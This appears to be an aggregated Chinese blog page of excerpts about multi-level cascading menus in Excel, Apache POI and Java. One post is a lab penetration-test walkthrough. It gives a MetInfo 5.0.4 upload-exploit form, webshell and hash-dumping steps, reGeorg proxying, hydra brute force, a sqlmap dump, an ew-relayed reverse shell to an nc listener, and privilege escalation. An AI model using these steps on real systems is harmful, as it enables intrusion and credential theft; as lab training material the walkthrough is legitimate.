精华内容
下载资源
问答
  • 本文实例讲述了js实现网页多级级联菜单。分享给大家供大家参考。具体如下: 这是大家在网页上经常会见到的级联菜单特效,不过这一个代码是由JS来实现,将级联菜单中的内容保存在了JS数组中,为了页面美观,本次还...
  • Excel多级级联

    2018-09-13 18:09:25
    Excel多级级联 利用Excel的数据有效性做出的一个Demo示例
  • TreeView树状多级级联

    2017-12-02 15:40:30
    TreeView树状多级级联,不想要积分,但这平台到倒闭了, 一定要积分才发出来.
  • 行业分类-物理装置-一种多级级联expander的通信方法.zip
  •   目录  最近公司业务需要用到excel,并且要导出模板,...在做这一块的时候,碰到的第一个问题就是怎么实现级联,这方面资料很多我就不多赘述了,这里给大家推荐几个我找的觉得比较好的博客 https://www.cnb...

     

     

    目录

           最近公司业务需要用到excel,并且要导出模板,今天为止所有的功能都已经实现了,在这里对出现的一些问题做一个总结。


    效果图:

    这是一个五级联动的数据,其中第一列是数字开头,实现了五级联动


    问题1:

    在做这一块的时候,碰到的第一个问题就是怎么实现级联,这方面资料很多我就不多赘述了,这里给大家推荐几个我找的觉得比较好的博客

    https://www.cnblogs.com/atao/archive/2009/09/24/1572980.html

    https://blog.csdn.net/it_zacard/article/details/77033095?utm_source=blogxgwz0

    第一个博客对POI的基础覆盖的比较全面,很适合上手,第二篇主要解决三级联动问题2,一般的导出认值学习这两篇博客基本都能

    解决,这也不是笔者写这篇文章的主要原因

    问题2:

     怎么解决数字级联的问题,放到我的业务需求中就是,现在我的分期是以数字开头的,怎么实现级联?

     在查了很多文章都没有解决这个问题,最后我通过公式加隐藏列的方法实现了这个需求。

     大致思路如下:

     创建一个隐藏列,通过公式跟分期所在列关联,如果分期是以数字开头,隐藏隐藏列中的数据为:"_"+分期,否则隐藏列的数据为分

     期。

     

        private void createDataValidationForSpace(Sheet sheet, int subCol) {
            // 主数据所在列对应的字符
            // 隐藏列对应字符
            for (int i = 3; i < EnergyConstant.Excel.MAX_SIZE; i++) {
                // 隐藏列公式:判断主数据所在单元格中的数据是否是以数字开头,以数字开头则隐藏列的数据为"_"+数据,否则为原数据
                // EnergyConstant.Excel.STAGE_LETTER:常量,分期所在列对应字符,在这里就是"E"
                String s1 = "IF(ISNUMBER(VALUE(LEFT(" + EnergyConstant.Excel.STAGE_LETTER + i + ",1)))," +
                        "CONCATENATE(\"_\"," + EnergyConstant.Excel.STAGE_LETTER + i + ")," + EnergyConstant.Excel.STAGE_LETTER + i + ")";
                // 设置公式可读
                sheet.setForceFormulaRecalculation(true);
                // 设置单元格样式为公式
                // EnergyConstant.Excel.HIDE_COL 隐藏列所在序号 我设置的是22 
                // EnergyConstant.Excel.HIDE_COL_LETTER 隐藏列对应字符  22对应字符为"W"
                String s = "CONCATENATE(";
                sheet.createRow(i - 1).createCell(EnergyConstant.Excel.HIDE_COL).setCellFormula(s1);
                s += "$" + EnergyConstant.Excel.HIDE_COL_LETTER + "$" + i;
                for (int j = EnergyConstant.Excel.STAGE_COL + 2; j < subCol; j++) {
                    s += ",$" + this.numberToLetter(j) + "$" + i;
                }
                s += ")";
                s = "INDIRECT(" + s + ")";
                DVConstraint energyItemConstraint = DVConstraint.createFormulaListConstraint(s);
                CellRangeAddressList energyItemRegions = new CellRangeAddressList(i - 1, i - 1, subCol - 1, subCol - 1);
                HSSFDataValidation dataValidate1 = new HSSFDataValidation(energyItemRegions, energyItemConstraint);
                sheet.addValidationData(dataValidate1);
            }
        }
    

    这里主要对公式进行说明,在EXCEL中对应公式为:=IF(ISNUMBER(VALUE(LEFT(E3,1))),CONCATENATE("_",E3),E3),POI对这些公式都是支持的,这个公式的作用就是,判断E3单元格zuo'b左边第一个字符是否是数字,如果是的话,当前单元格的数据为("_",E3)拼接的结果,如果不是数字开头,则为E3中的内容。当然也有更简单的做法,就是将隐藏列的公式,设置为CONCATENATE("_",E3),不管是否是数字开头都拼接下划线。但是笔者在业务中使用的是第一种做法。

    问题3:

    怎么用代码直接实现5级联动?

    创建的数据结构如下:

    @Component
    public class DictDataService {
    
        @Resource
        private EnergyClassifyService energyClassifyService;
    
        @Resource
        private EnergyItemService energyItemService;
    
        @Reference
        private ParkService parkService;
    
        @Reference
        private ParkUnitService parkUnitService;
    
        @Reference
        private ParkFloorService parkFloorService;
    
        @Reference
        private ParkHouseService parkHouseService;
    
        /**
         * 空间字典
         */
        public static final String STAGE_BUILD = "stage_build";
        public static final String STAGE_BUILD_UNIT = "stage_build_unit";
        public static final String STAGE_BUILD_UNIT_GROUND = "stage_build_unit_ground";
        public static final String STAGE_BUILD_UNIT_GROUND_HOUSE = "stage_build_unit_ground_house";
        /**
         * 空间名称id对应字典
         */
        public static final String SPACE_NAME_ID = "space_name_id";
        /**
         * 主字典
         */
        private Map<String, Object> dict = new HashMap();
    
        public Object getDict(String condition) {
            return dict.get(condition);
        }
    
        public void setDict(String parkId) {
            try {
              
                // 查询到所有的空间的信息
                List<ParkHouse> parkHouses = parkHouseService.listParkHouses(parkHouse);
    
                // 分期跟楼栋的映射
                Map<String, Set<String>> stage_build = new HashMap<>();
                Map<String, Set<String>> stage_build_unit = new HashMap<>();
                Map<String, Set<String>> stage_build_unit_ground = new HashMap<>();
                Map<String, Set<String>> stage_build_unit_ground_house = new HashMap<>(parkHouses.size());
                for (ParkHouse forExportSpace : parkHouses) {
                    String stageName = forExportSpace.getStageName();
                    String buildName = forExportSpace.getBuildName();
                    String unitNo = forExportSpace.getUnitNo() == null ? "" : forExportSpace.getUnitNo();
                    String groundNo = forExportSpace.getGroundNo() == null ? "" : forExportSpace.getGroundNo();
                    String houseName = forExportSpace.getHouseName();
                    this.createDict(stage_build, stageName, buildName);
                    this.createDict(stage_build_unit, stageName + buildName, unitNo);
                    this.createDict(stage_build_unit_ground, stageName + buildName + unitNo, groundNo);
                    this.createDict(stage_build_unit_ground_house, stageName + buildName + unitNo + groundNo, houseName);
                   
                }
                dict.put(STAGE_BUILD, stage_build);
                dict.put(STAGE_BUILD_UNIT, stage_build_unit);
                dict.put(STAGE_BUILD_UNIT_GROUND, stage_build_unit_ground);
                dict.put(STAGE_BUILD_UNIT_GROUND_HOUSE, stage_build_unit_ground_house);
                dict.put(SPACE_NAME_ID, ids);
            } catch (Exception e) {
                e.printStackTrace();
            }
    
        }
    
        /**
         * 创建从字典
         *
         * @param map
         * @param name
         */
        private void createDict(Map<String, Set<String>> map, String name, String name1) {
            if (map.containsKey(name)) {
                map.get(name).add(name1);
            } else {
                Set<String> names = new HashSet<>();
                names.add(name1);
                map.put(name, names);
            }
        }
    }

     大概就是将数据转换成:名称空间名称跟显示数据一一对应的结构,方便之后处理

    细心的读者在看到解决数字级联后,我还拼了一段公式,实际就是为了实现多级级联,核心就是这部分代码

     String s = "CONCATENATE(";
                sheet.createRow(i - 1).createCell(EnergyConstant.Excel.HIDE_COL).setCellFormula(s1);
                s += "$" + EnergyConstant.Excel.HIDE_COL_LETTER + "$" + i;
                for (int j = EnergyConstant.Excel.STAGE_COL + 2; j < subCol; j++) {
                    s += ",$" + this.numberToLetter(j) + "$" + i;
                }
                s += ")";
                s = "INDIRECT(" + s + ")";
                DVConstraint energyItemConstraint = DVConstraint.createFormulaListConstraint(s);
                CellRangeAddressList energyItemRegions = new CellRangeAddressList(i - 1, i - 1, subCol - 1, subCol - 1);
                HSSFDataValidation dataValidate1 = new HSSFDataValidation(energyItemRegions, energyItemConstraint);
                sheet.addValidationData(dataValidate1);

     这部分代码做的shi时间就是,通过从列所在的列数,跟第一列所在列数也就是分期所在列相差了几列,判断需要实现几级级联,通过indirect函数跳到指定名称空间。这部分主要麻烦在字符串的拼接。


    有什么不对的希望大家多多指正,共同进步!

    展开全文
  • 行业分类-电子政务-一种多级级联时间交叉并行冗余点火电路.zip
  • 2017年国防科技大学利用自主研发的分布式侧面耦合包层抽运光纤,实现了多级级联分布式侧面抽运光纤振荡器的3 kW量级功率输出,其受激拉曼抑制超过52 dB,验证了多级级联分布式抽运方案在拉曼抑制方面的优势。...
  • #资源达人分享计划#
  • Excel的二级级联多级级联的实现 实现步骤: 1.创建一个新的sheet页作为数据来源的sheet 2.以杭州市作为行政区为例,将对应的区街道写入到数据来源sheet中 3.选中需要校验的的列设置数据有效性 4.框选数据来源sheet...

    Excel的二级级联多级级联的实现

    实现步骤:
    1.创建一个新的sheet页作为数据来源的sheet
    2.以杭州市作为行政区为例,将对应的区街道写入到数据来源sheet中
    在这里插入图片描述
    3.选中需要校验的的列设置数据有效性
    在这里插入图片描述
    4.框选数据来源sheet中的目标数据作为数据来源
    在这里插入图片描述
    5.设置二级级联的数据
    ①选中区县以及所有街道
    在这里插入图片描述
    ②开始 ->查找->定位 (可以取消选中区域的空值)
    在这里插入图片描述
    ③公式 ->指定 ->只选择首行
    在这里插入图片描述
    ④选中二级级联的目标列(街道列)
    如图对目标 “I” 行 设置数据有效性选中序列,在来源中填入=INDIRECT($H:$H)

    在这里插入图片描述

    这样二级级联就完成了,如果还需要三级或更多级的级联,则需要把第三级的所有数据同样写入的数据来源sheet中以二级的数据作为行首(街道数据),选中所有数据从步骤五开始做起,完成3级级联

    有效麻烦大佬帮忙点个赞,有问题欢迎留言

    展开全文
  • 2016年, 国防科学技术大学利用自主研发的分布式侧面耦合包层抽运光纤, 实现了多级级联分布式侧面抽运光纤振荡器2 kW量级的功率输出, 并通过引入末级反向抽运方案, 实现了对输出端残余抽运光的良好抑制。实验装置示意...
  • Java如何优雅的获取多级级联数据 步骤:先查询所有级联的数据,然后通过Java8 Stream 流 来比较和判断,最终生成有顺序的级联数据。 实体类: package com.macro.mall.dto; import lombok.AllArgsConstructor; ...

    Java如何优雅的获取多级级联数据

    步骤:先查询所有级联的数据,然后通过Java8 Stream 流 来比较和判断,最终生成有顺序的级联数据。

    实体类:

    package com.macro.mall.dto;
    
    import lombok.AllArgsConstructor;
    import lombok.Data;
    
    import java.util.List;
    
    @Data
    @AllArgsConstructor
    public class LinkageEntities {
    
        private Integer catId;     //分类id
        private String name;    //分类名称
        private Integer parentCid; //父分类id
        private Integer catLevel;   //层级
        private Integer sort;       //排序
        private List<LinkageEntities> children; //子集
    }
    
    

    获取级联集合的业务逻辑代码:

    package com.macro.mall.service.impl;
    
    import com.macro.mall.dto.LinkageEntities;
    import java.util.ArrayList;
    import java.util.List;
    import java.util.stream.Collectors;
    
    public class Linkage {
    
        private static List<LinkageEntities> entitiesList = new ArrayList<LinkageEntities>();
    
        static{
            entitiesList.add(new LinkageEntities(1,"图书",0,1,0,null));
            entitiesList.add(new LinkageEntities(2,"电子",0,1,1,null));
            entitiesList.add(new LinkageEntities(3,"衣物",0,1,2,null));
            entitiesList.add(new LinkageEntities(4,"英语",1,2,0,null));
            entitiesList.add(new LinkageEntities(5,"语文",1,2,1,null));
            entitiesList.add(new LinkageEntities(6,"数学",1,2,2,null));
            entitiesList.add(new LinkageEntities(7,"手机",2,2,1,null));
            entitiesList.add(new LinkageEntities(8,"数码",2,2,2,null));
            entitiesList.add(new LinkageEntities(9,"英语上册",4,1,1,null));
            entitiesList.add(new LinkageEntities(10,"英语下册",4,1,1,null));
            entitiesList.add(new LinkageEntities(11,"英语试卷",4,3,1,null));
            entitiesList.add(new LinkageEntities(12,"语文阅读",5,3,2,null));
            entitiesList.add(new LinkageEntities(13,"数学试卷",6,3,3,null));
    
        }
    
        public static List<LinkageEntities> listWithTree() {
            //1、查询数据库钟,所有的级联信息( 我这里是使用上面的默认数据在测试)
    
            //2、先找到一级父类,再通过级联去查询子类菜单
            List<LinkageEntities> topLevel = entitiesList.stream().filter(linkageEntities ->
                    linkageEntities.getParentCid() == 0     //查询父类
            ).map((menu)->{
                menu.setChildren(getChildrens(menu,entitiesList)); //查询子类菜单
                return menu;
            }).sorted((menu1,menu2)->{
                //排序
                return (menu1.getSort()==null?0:menu1.getSort()) - (menu2.getSort()==null?0:menu2.getSort());
            }).collect(Collectors.toList());
            return topLevel;
        }
    
        //递归查找所有菜单的子类菜单
        private static List<LinkageEntities> getChildrens(LinkageEntities root,List<LinkageEntities> all){
    
            List<LinkageEntities> children = all.stream().filter(linkageEntities -> {
                return linkageEntities.getParentCid() == root.getCatId();
            }).map(linkageEntities -> {
                //1、递归找到子菜单
                linkageEntities.setChildren(getChildrens(linkageEntities,all));
                return linkageEntities;
            }).sorted((menu1,menu2)->{
                //2、菜单的排序
                return (menu1.getSort()==null?0:menu1.getSort()) - (menu2.getSort()==null?0:menu2.getSort());
            }).collect(Collectors.toList());
    
            return children;
        }
    
        public static void main(String[] args) {
            System.out.println(listWithTree());
        }
    }
    
    

    该案例主要是要熟悉java8 Stream API 的用法。

    展开全文
  • 关于多级级联V2

    2019-11-22 20:48:19
    实验 文章目录实验实验工具搭建环境实验要求实验步骤第一个Flag(文件上传漏洞)第二个Flag(代理 hydra密码爆破)第三个Flag(sql注入,端口转发,提权) 实验工具 VMware Workstation 15 Player ...

    实验

    实验工具

    VMware Workstation 15 Player
    https://pan.baidu.com/s/17KNdgTOBStnfE0MEYPP6lQ提取码:0u6b

    搭建环境

    1.外网靶场 IP:192.168.100.130 NAT模式
    2.调整物理机的网卡VMnet8的ipv4为192.168.100.1

    实验要求

    1.期间不允许使用虚拟机
    2.在三个靶场中找出三个Flag

    实验步骤

    第一个Flag(文件上传漏洞)

    打开网站之后发现是MetInfo v5.0.4版本的框架,知道相应版本的框架之后接下来的操作就是百度,看是否有出相应的漏洞。百度之后发现了有一出存在文件上传漏洞
    漏洞位置:http://192.168.100.130/admin/include/uploadify.php
    然后自己写一个html文件,代码如下

    <meta charset="utf-8">
    <form
        enctype="multipart/form-data"
        method="post"
        name="myfrom"
        action="http://192.168.100.130/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp"
    >
        <input name="Filedata" type="file" size=20>
        <input type="submit" name="Submit" value="提交信息">
    </form>
    

    将已经写好的一句话木马,上传到网站目录中。
    在这里插入图片描述
    知道上传路径之后,就可以通过菜刀连接了,输入地址,密码为666,成功连接菜刀之后,打开虚拟终端输入whoami查看当前用户的权限。
    在这里插入图片描述
    当前已经是系统权限,所以不需要提权,获取到getshell之后,我们就要进一步的对主机进行渗透。
    将QuarksPwDump.exe上传至C盘根目录下,通过命令行打开获取密码的哈希值
    在这里插入图片描述
    通过MD5解密,解密出密码为:a1b2c3
    接下来通过命令netstat -ano查看3389端口是否开启,准备远程连接。
    在这里插入图片描述
    3389端口是开启状态,但是当远程连接的时候还是连接不上,此时说明有两方面的原因。
    ①防火墙是开启状态
    ②系统禁止远程登录连接
    我们可以尝试关闭防火墙,输入命令net stop sharedaccess,再次远程连接时已经可以连接了。
    输入账号administrator密码a1b2c3成功连接到主机
    在这里插入图片描述
    第一个Flag已经找到

    第二个Flag(代理 hydra密码爆破)

    桌面上并没有什么有价值的信息,接下来可以查看以下IE浏览器的历史纪录,历史记录的位置为C:\Documents and Settings\Administrator\Local Settings\History,通过查看历史记录,发现了两个有价值的IP地址,一个是10.200.1.15另一个是10.200.1.16
    浏览器历史记录中有一条记录为:ftp:10.200.1.15,点开之后登录需要密码,已知用户名为admin
    在这里插入图片描述
    目标:hydra进行密码爆破。
    首先将tunnel.nosocket.php文件上传服务器中,在物理机中打开文件,查看是否可用。
    在这里插入图片描述
    然后将reGeorgSocksProxy.py上传至kali中,输入python reGeorgSocksProxy.py -u http://192.168.100.130/tunnel.nosocket.php运行文件
    在这里插入图片描述
    运行成功之后,设置代理,使用命令vi etc/proxychains.conf,打开文件之后,在文件的最底部,将socks4修改为socks5 127.0.0.1 8888并保存退出在这里插入图片描述
    输入命令proxychains hydra -l admin -P pass.txt ftp://10.200.1.15进行密码爆破
    在这里插入图片描述
    成功爆破密码,返回外网主机进行ftp登录
    第二个Flag就在ftp文件夹下面
    在这里插入图片描述

    第三个Flag(sql注入,端口转发,提权)

    打开ftp之后发现了网站目录,可以下载下来进行代码审计,在代码审计的过程中,发现了一处可能存在SQL注入的地方。
    地址:http://10.200.1.16/message.php?id=1
    通过简单的验证之后发现他是联合查询注入,显示位是2,然后就可以使用sqlmap
    输入命令proxychains sqlmap -u http://10.200.1.16/message.php?id=1 -D my_oa -T admin -C password,username --dump导出数据库中admin表中的用户及密码
    在这里插入图片描述
    找到登录密码之后直接登录OA系统
    地址:http://10.200.1.16/admin/login.php
    登录网站之后,发现一处存在任意文件上传漏洞,直接上传大马
    地址:http://10.200.1.16/admin/userinfo.php
    通过ftp找到文件上传的路径,在浏览器中打开。接下来进行反弹端口
    接着,在物理机中使用nc.exe对5555端口进行监听,输入命令:nc.exe -lvvp 5555
    在这里插入图片描述
    然后将ew通过菜刀上传至外网主机中,然后进行端口转发,输入命令ew_for_Win.exe -s lcx_tran -l 4444 -f 192.168.100.1 -g 5555
    在这里插入图片描述
    然后打开大马,进行端口反弹
    在这里插入图片描述
    反弹成功,此时我的物理机已经进入到了IP为:10.200.1.16的命令行,通过whoami查看当前用户权限,需要提权
    在这里插入图片描述
    通过大马上传相应的exp
    修改上传的exp的操作权限为777通过命令chomd 777 exp1
    在这里插入图片描述
    然后查看root目录下的文件找到第三个Flag
    在这里插入图片描述

    展开全文
  • 基于jQuery实现的多级级联下拉列表,例子中使用数据类型为JSON
  • NULL 博文链接:https://linshiquan.iteye.com/blog/292755
  • 七级级联H桥转换器使用相移和电平移位脉冲宽度调制技术进行控制。 提供了每种方案的理论分析和仿真,其生成的波形和THD分析。 对vHB,vAN和vAB每种方案的谐波含量进行了分析和比较。 LSM控制方案在0.99的ma处提供了...
  • jQuery写省市区级联和理论多级级联对应的数据库表,有了这个表和配合我的博客 你也能做出来省市区级联 博客链接 https://blog.csdn.net/qq_39234410/article/details/83544272
  • 链接: https://wux-weapp.github.io/wux-weapp-docs/#/cascader 效果图:
  • WPS创建多级级联菜单

    2022-01-11 21:16:21
    WPS创建多级菜单的方法,解决错误:“列表源”必须是划定分解后的数据列表,或是对单一行或者一列的引用。
  • 靶场测试-多级级联

    2019-11-25 23:43:43
    靶机测试-远程连接外网,进入两台内网设备实验工具实验环境实验步骤 实验工具 实验环境 实验步骤 1.信息收集 进入页面后我们可以看到它的版本好,可以上网查询它所公开的版本漏洞 ...2.我们可以知道它存在的是任意...
  • 注:笔者这里的嵌套可以用词有点欠缺,忘见谅 需求:用一个查询接口查出其结果集,这里就用伪代码标识要返回前端的类与类...二级级联> two; ... } class 二级级联{ String otherValue1; LinkedList...
  • 完全使用java,使用Aspose.cells 插件,实现Excel级联下拉且不限制层数。 Aspose.cells 是第三方插件,并且它不依赖任何office相关内容,完全独立的一套穿java代码插件,可以实现晚间转换、创建、编辑等功能。
  • 多级级联菜单js实现

    2012-12-03 21:06:00
    在设计页面时,可以使用多个下拉菜单分别显示不同级别的分类信息,即实现多级级联菜单。以下实例,当选择商品的“第一级分类”下拉菜单时,商品的“第二级分类”下拉菜单的内容会随即发生变化。 实现多级级联菜单的...
  • LC滤波器级联问题
  • 需求:使用EXCEL实现三级级联。例如:A列选择山东省,B列只能选择山东省的市区(例如,济南),B列为济南时,C列只能选择济南市的区县。 实现: 第一步:定义码表中数据列名称。选择A2-A36,点击鼠标右键,选择...
  • 写这篇文章 是因为我在网上找了很多级联 可是代码太繁琐 还经常出bug 然后决定自己研究一下 然后记录下来 其实省市区级联没有想象的那么难 多级级联也是 先看一下效果图 这是初始化页面 这是选完以后的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 7,307
精华内容 2,922
关键字:

多级级联

友情链接: m_dianji.rar